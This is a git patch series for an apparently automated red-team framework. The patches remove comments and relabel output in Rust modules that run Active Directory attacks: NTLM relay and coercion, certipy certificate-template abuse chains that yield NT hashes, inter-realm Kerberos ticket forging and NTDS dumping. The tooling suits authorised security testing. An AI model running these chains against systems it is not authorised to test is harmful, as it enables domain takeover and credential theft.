From db1a8fa5551f360ddf435c3694bf12424e48649f Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Fri, 15 May 2026 13:36:16 -0600 Subject: [PATCH 1/5] style: remove redundant comments and clarify step labeling for output consistency MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit **Changed:** - Removed redundant or obvious step and phase comments across multiple modules to improve readability without affecting code functionality - Standardized step and phase output labels in coercion and privilege escalation flows to use consistent, concise terminology (e.g., "Phase 1: unauth PetitPotam" → "unauth PetitPotam", "Step 1: Template Modification" → "Template Modification") - Updated test constants to match new output labels for phases and steps - Clarified and shortened instructional output in ADCS exploitation instructions for ESC3 - Minor adjustments to comments for clarity and brevity in trust exploitation routines - Improved comment clarity regarding optional and required steps, especially where helper scripts are invoked or output filenames must match --- .../automation/adcs_exploitation.rs | 9 ++-- .../state/publishing/credentials.rs | 2 - ares-core/src/nats.rs | 8 ---- ares-tools/src/coercion.rs | 32 +++++-------- ares-tools/src/privesc/adcs.rs | 45 ++++++++----------- ares-tools/src/privesc/trust.rs | 13 ++---- 6 files changed, 35 insertions(+), 74 deletions(-) diff --git a/ares-cli/src/orchestrator/automation/adcs_exploitation.rs b/ares-cli/src/orchestrator/automation/adcs_exploitation.rs index ef9f48f6..2364116f 100644 --- a/ares-cli/src/orchestrator/automation/adcs_exploitation.rs +++ b/ares-cli/src/orchestrator/automation/adcs_exploitation.rs @@ -1464,9 +1464,6 @@ async fn dispatch_relay_coerce_chain( "relay chain: cert captured; authenticating with certipy_auth" ); - // Phase 2: certipy auth -pfx -> NT hash for the relayed user. - // The auth produces a Hash discovery via the certipy_auth parser. - // // The relayed account's realm can differ from the vuln record's // domain (cross-forest ESC8 — a machine in forest A relayed to a // CA in forest B via trust). Resolve the home realm + KDC from @@ -1782,8 +1779,8 @@ fn esc_instructions(esc_type: &str) -> &'static str { ), "esc3" => concat!( "ESC3: Certificate Request Agent (enrollment agent).\n", - "Step 1: certipy_request the CRA template with target=ca_host.\n", - "Step 2: Use that cert to request a cert on behalf of administrator.\n", + "First: certipy_request the CRA template with target=ca_host.\n", + "Then: use that cert to request a cert on behalf of administrator.\n", "IMPORTANT: Set target to the ca_host IP, not the dc_ip." ), "esc4" => concat!( @@ -3236,7 +3233,7 @@ mod tests { fn parse_relay_output_captures_pfx_and_user() { let stdout = "\ RELAY_PID=12345 -=== Phase 1: unauth PetitPotam === +=== unauth PetitPotam === [*] PetitPotam succeeded === RELAY LOG === [+] Authenticating against http://192.168.58.50/certsrv diff --git a/ares-cli/src/orchestrator/state/publishing/credentials.rs b/ares-cli/src/orchestrator/state/publishing/credentials.rs index ec80b230..f9f676f0 100644 --- a/ares-cli/src/orchestrator/state/publishing/credentials.rs +++ b/ares-cli/src/orchestrator/state/publishing/credentials.rs @@ -27,7 +27,6 @@ impl SharedState { queue: &TaskQueueCore, cred: Credential, ) -> Result { - // Sanitize and validate before storage let (netbios_map, known_domains) = { let state = self.inner.read().await; // Known domains = explicit state.domains plus any DC domain keys. @@ -177,7 +176,6 @@ impl SharedState { } return Ok(false); } - // Emit before consuming `hash` into state. emit_op_state( self.recorder(), &operation_id, diff --git a/ares-core/src/nats.rs b/ares-core/src/nats.rs index b1ed69b7..2e6949c9 100644 --- a/ares-core/src/nats.rs +++ b/ares-core/src/nats.rs @@ -42,8 +42,6 @@ use crate::models::OpStateEvent; /// Default NATS URL used when neither `ARES_NATS_URL` nor an explicit URL is provided. pub const DEFAULT_NATS_URL: &str = "nats://127.0.0.1:4222"; -// === Subject taxonomy ===================================================== - /// Red team task work queue. `ares.tasks.{role}` (e.g. `ares.tasks.recon`). pub const TASK_SUBJECT_PREFIX: &str = "ares.tasks"; /// Tool dispatch RPC. `ares.tools.exec.{role}`. @@ -69,8 +67,6 @@ pub const URGENT_TASK_SUBJECT_PREFIX: &str = "ares.tasks.urgent"; /// Blue task result subject. `ares.blue.tasks.results.{task_id}`. pub const BLUE_TASK_RESULT_SUBJECT_PREFIX: &str = "ares.blue.tasks.results"; -// === Stream names ========================================================= - /// JetStream stream containing all red-team task subjects. pub const TASKS_STREAM: &str = "ARES_TASKS"; /// JetStream stream containing all blue-team task subjects. @@ -83,8 +79,6 @@ pub const DISCOVERIES_STREAM: &str = "ARES_DISCOVERIES"; /// Pattern B: this is the source of truth, Redis is a derived cache. pub const OP_STATE_STREAM: &str = "ARES_OPSTATE"; -// === Subject builders ===================================================== - #[inline] pub fn task_subject(role: &str) -> String { format!("{TASK_SUBJECT_PREFIX}.{role}") @@ -144,8 +138,6 @@ pub fn op_state_filter_for_op(operation_id: &str) -> String { format!("{OP_STATE_SUBJECT_PREFIX}.{operation_id}.>") } -// === Connection =========================================================== - /// Shared NATS broker handle. /// /// `async_nats::Client` is already cheaply cloneable and multiplexes all diff --git a/ares-tools/src/coercion.rs b/ares-tools/src/coercion.rs index 972e8d6b..9228eb83 100644 --- a/ares-tools/src/coercion.rs +++ b/ares-tools/src/coercion.rs @@ -810,10 +810,9 @@ async fn run_relay_and_coerce( let mut summary = format!("RELAY_PID={}\n", relay.pid()); let mut captured_via: Option<&'static str> = None; - // --- Phase 1: unauthenticated PetitPotam --- // Distros differ: Kali ships `petitpotam` (symlink), pip ships // `impacket-petitpotam`. Try in order, log if both missing. - summary.push_str("=== Phase 1: unauth PetitPotam ===\n"); + summary.push_str("=== unauth PetitPotam ===\n"); let petit_bin = ["petitpotam", "impacket-petitpotam"] .into_iter() .find(|b| procs.which_binary(b)) @@ -826,7 +825,7 @@ async fn run_relay_and_coerce( procs .run_phase( &coerce_log, - "Phase 1: unauth PetitPotam", + "unauth PetitPotam", petit_bin, &p1_args, &workdir, @@ -837,9 +836,8 @@ async fn run_relay_and_coerce( captured_via = Some("unauth_petitpotam"); } - // --- Phase 2: authenticated DFSCoerce --- if captured_via.is_none() && cfg.coerce_user.is_some() { - summary.push_str("=== Phase 2: authenticated DFSCoerce (MS-DFSNM) ===\n"); + summary.push_str("=== authenticated DFSCoerce (MS-DFSNM) ===\n"); let user = cfg.coerce_user.as_deref().unwrap(); let secret_args = coerce_secret_args(cfg.coerce_secret.as_ref()); let mut a: Vec<&str> = vec!["-u", user, "-d", cfg.coerce_domain.as_str()]; @@ -849,28 +847,18 @@ async fn run_relay_and_coerce( a.push(cfg.attacker_ip.as_str()); a.push(cfg.coerce_target.as_str()); procs - .run_phase( - &coerce_log, - "Phase 2: DFSCoerce", - "dfscoerce", - &a, - &workdir, - 25, - ) + .run_phase(&coerce_log, "DFSCoerce", "dfscoerce", &a, &workdir, 25) .await; if poll_for_cert(&relay_log, opts.poll_phase_2, opts.poll_interval).await { captured_via = Some("MS-DFSNM"); } } - // --- Phase 3: coercer over MS-EFSR / MS-RPRN --- if captured_via.is_none() && cfg.coerce_user.is_some() { let user = cfg.coerce_user.as_deref().unwrap(); let secret_args = coerce_secret_args(cfg.coerce_secret.as_ref()); for proto in ["MS-EFSR", "MS-RPRN"] { - summary.push_str(&format!( - "=== Phase 3: authenticated coerce via {proto} ===\n" - )); + summary.push_str(&format!("=== authenticated coerce via {proto} ===\n")); let mut a: Vec<&str> = vec![ "coerce", "-u", @@ -893,7 +881,7 @@ async fn run_relay_and_coerce( procs .run_phase( &coerce_log, - &format!("Phase 3: {proto}"), + &format!("coerce via {proto}"), "coercer", &a, &workdir, @@ -1721,10 +1709,10 @@ mod tests { } } - const PHASE1: &str = "Phase 1: unauth PetitPotam"; - const PHASE2: &str = "Phase 2: DFSCoerce"; - const PHASE3_EFSR: &str = "Phase 3: MS-EFSR"; - const PHASE3_RPRN: &str = "Phase 3: MS-RPRN"; + const PHASE1: &str = "unauth PetitPotam"; + const PHASE2: &str = "DFSCoerce"; + const PHASE3_EFSR: &str = "coerce via MS-EFSR"; + const PHASE3_RPRN: &str = "coerce via MS-RPRN"; #[tokio::test] async fn run_attacker_ip_not_local_bails_with_clear_error() { diff --git a/ares-tools/src/privesc/adcs.rs b/ares-tools/src/privesc/adcs.rs index ac473a0f..8ca9fb96 100644 --- a/ares-tools/src/privesc/adcs.rs +++ b/ares-tools/src/privesc/adcs.rs @@ -344,7 +344,6 @@ pub async fn certipy_esc7_full_chain(args: &Value) -> Result { let user_at_domain = format!("{username}@{domain}"); let mut outputs = Vec::new(); - // Step 1: Add self as CA officer (certipy v5 requires principal as arg) let mut step1_cmd = CommandBuilder::new("certipy") .arg("ca") .flag("-username", &user_at_domain) @@ -358,7 +357,6 @@ pub async fn certipy_esc7_full_chain(args: &Value) -> Result { let step1 = step1_cmd.timeout_secs(120).execute().await?; outputs.push(("Add Officer", step1)); - // Step 2: Request cert with SubCA template (will be denied/pending) let ts = std::time::SystemTime::now() .duration_since(std::time::UNIX_EPOCH) .map(|d| d.as_millis()) @@ -418,7 +416,6 @@ pub async fn certipy_esc7_full_chain(args: &Value) -> Result { } }; - // Step 3: Issue the pending request using ManageCA rights let mut step3_cmd = CommandBuilder::new("certipy") .arg("ca") .flag("-username", &user_at_domain) @@ -432,7 +429,6 @@ pub async fn certipy_esc7_full_chain(args: &Value) -> Result { let step3 = step3_cmd.timeout_secs(120).execute().await?; outputs.push(("Issue Request", step3)); - // Step 4: Retrieve the issued certificate let step4 = CommandBuilder::new("certipy") .arg("req") .flag("-username", &user_at_domain) @@ -448,7 +444,7 @@ pub async fn certipy_esc7_full_chain(args: &Value) -> Result { let step4_out = step4.timeout_secs(120).execute().await?; outputs.push(("Retrieve Cert", step4_out)); - // Step 4b: If certipy couldn't create a PFX (key mismatch), combine manually + // If certipy couldn't create a PFX (key mismatch), combine manually. let pfx_path = format!("{out_name}.pfx"); let crt_path = format!("{out_name}.crt"); let key_path = format!("{out_name}.key"); @@ -469,7 +465,6 @@ pub async fn certipy_esc7_full_chain(args: &Value) -> Result { outputs.push(("Combine PFX", combine)); } - // Step 5: Authenticate with the retrieved PFX let _ = tokio::process::Command::new("sh") .arg("-c") .arg("rm -f *.ccache 2>/dev/null") @@ -586,15 +581,15 @@ pub async fn certipy_esc4_full_chain(args: &Value) -> Result { let auth_output = certipy_auth(&auth_args).await?; let combined_stdout = format!( - "=== Step 1: Template Modification ===\n{}\n\ - === Step 2: Certificate Request ===\n{}\n\ - === Step 3: Authentication ===\n{}", + "=== Template Modification ===\n{}\n\ + === Certificate Request ===\n{}\n\ + === Authentication ===\n{}", template_output.stdout, request_output.stdout, auth_output.stdout ); let combined_stderr = format!( - "=== Step 1: Template Modification ===\n{}\n\ - === Step 2: Certificate Request ===\n{}\n\ - === Step 3: Authentication ===\n{}", + "=== Template Modification ===\n{}\n\ + === Certificate Request ===\n{}\n\ + === Authentication ===\n{}", template_output.stderr, request_output.stderr, auth_output.stderr ); @@ -663,7 +658,6 @@ pub async fn certipy_esc3_full_chain(args: &Value) -> Result { let target_out = format!("target_{ts}"); let target_pfx = format!("{target_out}.pfx"); - // --- Step 1: enroll the agent cert --- let agent_output = CommandBuilder::new("certipy") .arg("req") .flag("-username", &user_at_domain) @@ -686,7 +680,6 @@ pub async fn certipy_esc3_full_chain(args: &Value) -> Result { ); } - // --- Step 2: enroll on-behalf-of using the agent cert --- // `domain\\principal` form is what certipy expects for `-on-behalf-of` // (NetBIOS-style). The single-backslash escape in the format string // becomes a literal `\` on the command line. @@ -709,12 +702,12 @@ pub async fn certipy_esc3_full_chain(args: &Value) -> Result { if !request_output.success { return Ok(ToolOutput { stdout: format!( - "=== Step 1: Agent enrollment ({agent_template}) ===\n{}\n\ - === Step 2: on-behalf-of {on_behalf_target} via {on_behalf_template} ===\n{}", + "=== Agent enrollment ({agent_template}) ===\n{}\n\ + === On-behalf-of {on_behalf_target} via {on_behalf_template} ===\n{}", agent_output.stdout, request_output.stdout ), stderr: format!( - "=== Step 1 stderr ===\n{}\n=== Step 2 stderr ===\n{}", + "=== Agent enrollment stderr ===\n{}\n=== On-behalf-of stderr ===\n{}", agent_output.stderr, request_output.stderr ), exit_code: request_output.exit_code, @@ -727,7 +720,6 @@ pub async fn certipy_esc3_full_chain(args: &Value) -> Result { ); } - // --- Step 3: authenticate with the on-behalf-of cert --- // certipy auth writes .ccache in CWD; clear stale .ccache to // avoid the interactive overwrite prompt that kills non-interactive // runs (matches what `certipy_auth` does at module level). @@ -748,13 +740,13 @@ pub async fn certipy_esc3_full_chain(args: &Value) -> Result { .await?; let combined_stdout = format!( - "=== Step 1: Agent enrollment ({agent_template}) ===\n{}\n\ - === Step 2: on-behalf-of {on_behalf_target} via {on_behalf_template} ===\n{}\n\ - === Step 3: certipy auth ===\n{}", + "=== Agent enrollment ({agent_template}) ===\n{}\n\ + === On-behalf-of {on_behalf_target} via {on_behalf_template} ===\n{}\n\ + === certipy auth ===\n{}", agent_output.stdout, request_output.stdout, auth_output.stdout ); let combined_stderr = format!( - "=== Step 1 stderr ===\n{}\n=== Step 2 stderr ===\n{}\n=== Step 3 stderr ===\n{}", + "=== Agent enrollment stderr ===\n{}\n=== On-behalf-of stderr ===\n{}\n=== certipy auth stderr ===\n{}", agent_output.stderr, request_output.stderr, auth_output.stderr ); Ok(ToolOutput { @@ -803,7 +795,7 @@ pub async fn certipy_esc1_full_chain(args: &Value) -> Result { let out_name = format!("esc1_{ts}"); let pfx_name = format!("{out_name}.pfx"); - // --- Step 1: request the cert with -upn + -sid for KB5014754 strict mapping --- + // KB5014754 strict mapping requires -upn + -sid on the request. let request_output = CommandBuilder::new("certipy") .arg("req") .flag("-username", &user_at_domain) @@ -826,7 +818,6 @@ pub async fn certipy_esc1_full_chain(args: &Value) -> Result { anyhow::bail!("certipy req reported success but {pfx_name} was not produced"); } - // --- Step 2: authenticate with the cert → NTLM hash --- let auth_output = CommandBuilder::new("certipy") .arg("auth") .flag("-pfx", &pfx_name) @@ -838,12 +829,12 @@ pub async fn certipy_esc1_full_chain(args: &Value) -> Result { .await?; let combined_stdout = format!( - "=== Step 1: certipy req (ESC1, upn={upn}, sid={sid}) ===\n{}\n\ - === Step 2: certipy auth ({pfx_name}) ===\n{}", + "=== certipy req (ESC1, upn={upn}, sid={sid}) ===\n{}\n\ + === certipy auth ({pfx_name}) ===\n{}", request_output.stdout, auth_output.stdout ); let combined_stderr = format!( - "=== Step 1 stderr ===\n{}\n=== Step 2 stderr ===\n{}", + "=== certipy req stderr ===\n{}\n=== certipy auth stderr ===\n{}", request_output.stderr, auth_output.stderr ); Ok(ToolOutput { diff --git a/ares-tools/src/privesc/trust.rs b/ares-tools/src/privesc/trust.rs index e81e8787..6449b644 100644 --- a/ares-tools/src/privesc/trust.rs +++ b/ares-tools/src/privesc/trust.rs @@ -178,9 +178,9 @@ pub async fn create_inter_realm_ticket(args: &Value) -> Result { let _ = std::fs::rename(&default_ccache, &ccache_path); } - // Optional Step 2: chain cross_realm_tgs.py to fetch ldap/ and - // cifs/ service tickets and append them to the same ccache. This - // turns the otherwise-unusable inter-realm TGT into a ccache that + // Optionally chain cross_realm_tgs.py to fetch ldap/ and cifs/ + // service tickets and append them to the same ccache. This turns the + // otherwise-unusable inter-realm TGT into a ccache that // `ldapsearch -Y GSSAPI` can consume directly. if ccache_path.exists() { if let (Some(dc_fqdn), Some(dc_ip)) = (target_dc_fqdn, target_dc_ip) { @@ -291,7 +291,6 @@ pub async fn forge_inter_realm_and_dump(args: &Value) -> Result { let tempdir = tempfile::tempdir().context("failed to create tempdir for inter-realm forge")?; let cwd = tempdir.path().to_path_buf(); - // --- Step 1: forge inter-realm TGT (NT-only) --- let krbtgt_spn = format!("krbtgt/{target_domain}"); let mut ticketer = CommandBuilder::new("impacket-ticketer") .flag("-nthash", nt) @@ -320,8 +319,6 @@ pub async fn forge_inter_realm_and_dump(args: &Value) -> Result { ); } - // --- Step 2: cross-realm TGS via embedded helper --- - // // Write the helper to the tempdir and invoke it. The helper opens the // forged inter-realm TGT, calls `getKerberosTGS` directly against the // target KDC, and writes the resulting TGS to a new ccache. See the @@ -369,10 +366,8 @@ pub async fn forge_inter_realm_and_dump(args: &Value) -> Result { ); } - // --- Step 3: nxc smb --ntds via the TGS ccache --- - // // The cached TGS is bound to `cifs/{target}` where `target` is the FQDN - // baked into the ticket by step 2. nxc auto-builds its SPN from the + // baked into the ticket by the cross-realm helper. nxc auto-builds its SPN from the // command-line target, so we MUST pass the FQDN here — passing the IP // would make nxc look up `cifs/` in the cache, miss, and silently // fall through with exit 0 / empty stdout. From e3f5f7fca102c68f0b538440692ed6a978f022b2 Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Fri, 15 May 2026 13:45:38 -0600 Subject: [PATCH 2/5] style: remove commented section headers from normalization and test files **Changed:** - Removed commented section headers in `normalize_source_label` for cleaner code in `ares-cli/src/dedup/labels.rs` - Removed commented test section headers for improved readability in `ares-cli/src/orchestrator/automation/stall_detection.rs` --- ares-cli/src/dedup/labels.rs | 6 ------ .../src/orchestrator/automation/stall_detection.rs | 10 ---------- 2 files changed, 16 deletions(-) diff --git a/ares-cli/src/dedup/labels.rs b/ares-cli/src/dedup/labels.rs index 4d58d0e0..7fb8c756 100644 --- a/ares-cli/src/dedup/labels.rs +++ b/ares-cli/src/dedup/labels.rs @@ -48,7 +48,6 @@ pub(crate) fn normalize_source_label(source: &str) -> String { let mut source = source.to_string(); - // Deduplicate "recon:recon" -> "recon" if source.contains(':') { let parts: Vec<&str> = source.split(':').collect(); if parts.len() >= 2 && parts[0] == parts[1] { @@ -56,7 +55,6 @@ pub(crate) fn normalize_source_label(source: &str) -> String { } } - // Extract task type from "task input (recon_abc123)" patterns let lower = source.to_lowercase(); if lower.contains("task input") { if let Some(caps) = TASK_INPUT_RE.captures(&source) { @@ -66,19 +64,16 @@ pub(crate) fn normalize_source_label(source: &str) -> String { let lower = source.to_lowercase(); - // Exact match if let Some(label) = LABEL_MAP.get(lower.as_str()) { return label.to_string(); } - // Prefix match for (key, label) in LABEL_MAP.iter() { if lower.starts_with(key) { return label.to_string(); } } - // Task ID suffix match (e.g., "recon_abc12345" -> "recon") if let Some(caps) = TASK_SUFFIX_RE.captures(&lower) { let task_type = &caps[1]; if let Some(label) = LABEL_MAP.get(task_type) { @@ -86,7 +81,6 @@ pub(crate) fn normalize_source_label(source: &str) -> String { } } - // Fallback: replace underscores and title-case source .replace('_', " ") .split_whitespace() diff --git a/ares-cli/src/orchestrator/automation/stall_detection.rs b/ares-cli/src/orchestrator/automation/stall_detection.rs index cc89fdf3..3caa0d29 100644 --- a/ares-cli/src/orchestrator/automation/stall_detection.rs +++ b/ares-cli/src/orchestrator/automation/stall_detection.rs @@ -328,8 +328,6 @@ mod tests { } } - // --- dedup-key shape --------------------------------------------- - #[test] fn stall_spray_dedup_key_includes_recovery_attempt() { assert_eq!( @@ -354,8 +352,6 @@ mod tests { ); } - // --- domains_with_pending_delegation ---------------------------- - #[test] fn pending_delegation_empty_state() { let s = StateInner::new("op".into()); @@ -416,8 +412,6 @@ mod tests { assert!(domains_with_pending_delegation(&s).contains("contoso.local")); } - // --- resolve_stall_dc_ip -------------------------------------------- - #[test] fn resolve_stall_dc_ip_exact_match() { let mut s = StateInner::new("op".into()); @@ -448,8 +442,6 @@ mod tests { assert!(resolve_stall_dc_ip(&s, "contoso.local").is_none()); } - // --- select_stall_spray_work --------------------------------------- - #[test] fn select_stall_spray_empty_state() { let s = StateInner::new("op".into()); @@ -493,8 +485,6 @@ mod tests { assert_eq!(select_stall_spray_work(&s, 1).len(), 1); } - // --- select_stall_lhf_work ----------------------------------------- - #[test] fn select_stall_lhf_empty_state() { let s = StateInner::new("op".into()); From de92d513fe0ce5d0020ebef9cc41ba777f44c64a Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Fri, 15 May 2026 14:07:23 -0600 Subject: [PATCH 3/5] refactor: centralize and test chain output formatting for certipy ADCS chains **Added:** - Introduced `render_chain_output` helper to format chained tool output with labeled headers - Added unit tests for `render_chain_output` covering concatenation, empty steps, order, and edge cases **Changed:** - Updated certipy ADCS chain functions to use `render_chain_output` for consistent output formatting - Simplified chain output construction by replacing repeated formatting code with the new helper --- ares-tools/src/privesc/adcs.rs | 144 ++++++++++++++++++++++++--------- 1 file changed, 104 insertions(+), 40 deletions(-) diff --git a/ares-tools/src/privesc/adcs.rs b/ares-tools/src/privesc/adcs.rs index 8ca9fb96..fbd682de 100644 --- a/ares-tools/src/privesc/adcs.rs +++ b/ares-tools/src/privesc/adcs.rs @@ -7,6 +7,24 @@ use crate::args::{optional_bool, optional_str, required_str}; use crate::executor::CommandBuilder; use crate::ToolOutput; +/// Concatenate the stdout/stderr of a chained tool invocation under `===